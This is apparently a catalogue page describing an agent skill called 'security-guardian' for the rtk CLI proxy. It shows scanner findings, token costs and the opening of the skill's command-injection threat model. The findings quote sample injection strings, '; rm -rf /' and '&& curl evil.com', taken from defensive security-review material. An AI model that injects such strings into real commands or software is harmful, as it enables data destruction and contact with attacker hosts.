rtk is a command-line proxy that filters and compresses output from development commands before it reaches an LLM's context. It is used with coding agents to reduce the tokens consumed by commands such as Git operations. The catalogue includes skills, commands, agents, and instructions for using rtk in agent workflows.
Borrowing it
Nothing to install: this file belongs to rtk-ai/rtk. Take a copy, put it at the same path in your own repository, and replace the rules that are about this project with yours.
curl -O https://raw.githubusercontent.com/rtk-ai/rtk/develop/.claude/skills/security-guardian/SKILL.mdgit clone --depth 1 https://github.com/rtk-ai/rtkWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/rtk-ai/rtk/security-guardian)<a href="https://agentmods.dev/skills/rtk-ai/rtk/security-guardian"><img src="https://agentmods.dev/badge/skills/rtk-ai/rtk/security-guardian/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/rtk-ai/rtk/security-guardian"><img src="https://agentmods.dev/badge/skills/rtk-ai/rtk/security-guardian.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- Snyk pass
- NVIDIA SkillSpector warn
SkillSpector: 9 findings, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high Tool Misuse · line 72 Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).Fix: Validate all tool parameters against an allowlist. Reject dangerous parameter values (shell=True, --force, -rf /) and use safe defaults.
- high Tool Misuse · line 171 Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).Fix: Validate all tool parameters against an allowlist. Reject dangerous parameter values (shell=True, --force, -rf /) and use safe defaults.
- high Tool Misuse · line 72 Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).Fix: Validate all tool parameters against an allowlist. Reject dangerous parameter values (shell=True, --force, -rf /) and use safe defaults.
- high Tool Misuse · line 72 Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).Fix: Validate all tool parameters against an allowlist. Reject dangerous parameter values (shell=True, --force, -rf /) and use safe defaults.
- high Tool Misuse · line 72 Tool calls are chained to bypass individual safety checks or escalate capabilities beyond what any single tool call would allow.Fix: Limit tool chaining depth and validate the output of each tool before passing it to the next. Require explicit user approval for multi-step chains.
- high Tool Misuse · line 171 Tool calls are chained to bypass individual safety checks or escalate capabilities beyond what any single tool call would allow.Fix: Limit tool chaining depth and validate the output of each tool before passing it to the next. Require explicit user approval for multi-step chains.
- high Tool Misuse · line 171 Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).Fix: Validate all tool parameters against an allowlist. Reject dangerous parameter values (shell=True, --force, -rf /) and use safe defaults.
- high Tool Misuse · line 171 Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).Fix: Validate all tool parameters against an allowlist. Reject dangerous parameter values (shell=True, --force, -rf /) and use safe defaults.
- high Privilege Escalation · line 172 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00015 | $0.03541 |
| Opus 5.5 | $0.00006 | $0.01416 |
| Sonnet 5.5 | $0.00003 | $0.00708 |
| Haiku 4.5 | $0.00002 | $0.00354 |
Grade B, and why
security-guardian scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Recursive force deletemediumDestructive command
rm -rf with a variable or a broad path is one typo away from removing the wrong tree.
.arg(&cmd) // Attacker can inject: `; rm -rf /` Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
"&& curl evil.com", How it starts
The opening of the file, as written. The whole thing — 505 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Security Guardian
Comprehensive security analysis for RTK CLI tool, focusing on command injection, shell escaping, hook security, and malicious input handling.
When to Use
- Automatically triggered: After filter changes, shell command execution logic, hook modifications
- Manual invocation: Before release, after security-sensitive code changes
- Proactive: When handling user input, executing shell commands, or parsing untrusted output
RTK Security Threat Model
RTK faces unique security challenges as a CLI proxy that:
- Executes shell commands based on user input
- Parses untrusted command output (git, cargo, gh, etc.)
- Integrates with Claude Code hooks (rtk-rewrite.sh, rtk-suggest.sh)
- Routes commands transparently (command injection vectors)
Threat Categories
| Threat | Severity | Impact | Mitigation |
|---|---|---|---|
| Command Injection | 🔴 CRITICAL | Remote code execution | Input validation, shell escaping |
| Shell Escaping | 🔴 CRITICAL | Arbitrary command execution | Platform-specific escaping |
| Hook Injection | 🟡 HIGH | Hook hijacking, command interception | Permission checks, signature validation |
| Malicious Output | 🟡 MEDIUM | RTK crash, DoS | Robust parsing, error handling |
| Path Traversal | 🟢 LOW | File access outside filters/ | Path sanitization |
Security Analysis Workflow
1. Threat Identification
Questions to ask for every code change:
Input Validation:
- Does this code accept user input?
- Is the input validated before use?
- Can special characters (;, |, &, $, `, \, etc.) cause issues?
Shell Execution:
- Does this code execute shell commands?
- Are command arguments properly escaped?
- Is std::process::Command used (safe) or shell=true (dangerous)?
Output Parsing:
- Does this code parse external command output?
- Can malformed output cause panics or crashes?
- Are regex patterns tested against malicious input?
Hook Integration:
- Does this code modify hooks?
- Are hook permissions validated (executable bit)?
- Is hook source code integrity checked?
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago First seen · 505 lines · 15 tokens per session scan B d41c23635f53
security-guardian is a skill published in the GitHub repository rtk-ai/rtk (84,655 stars, last pushed yesterday), licensed Apache-2.0. It adds 15 tokens to every session and 3,541 once invoked, about $0.0001 per session on Opus 5.5. A static security scan graded it B with 2 findings (recursive force delete, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other skills, from other repositories
loongsuite-pilot-insight
A reporting workflow for turning LoongSuite Pilot and AI coding-agent logs into structured reports about events, teams, data quality, development efficiency, and AI use. It defines the meaning of the log fields and the measurements used in dashboards.
eval-agents
Audit custom subagent definitions for Claude Code (.claude/agents/.md) and Codex (.codex/agents/.toml): loadability against the native schema, description overlap, model tier, tool scope, and headless-safe instructions. Use when onboarding to a project with agents, after adding or importing agents, or when the parent…
land-and-deploy
Merge PR, wait for CI, verify deploy, run canary. The complete landing pipeline.
self-assessment
Interactive skill assessment with personalized learning path generation.
git-ai-archaeology
Analyze AI config evolution in a git repo. Use when mapping AI adoption history, finding when configs were first introduced, charting commit velocity by month, or identifying maturity phases in a project's AI tooling.
investigate
Systematic root-cause debugging: find the cause before writing any fix.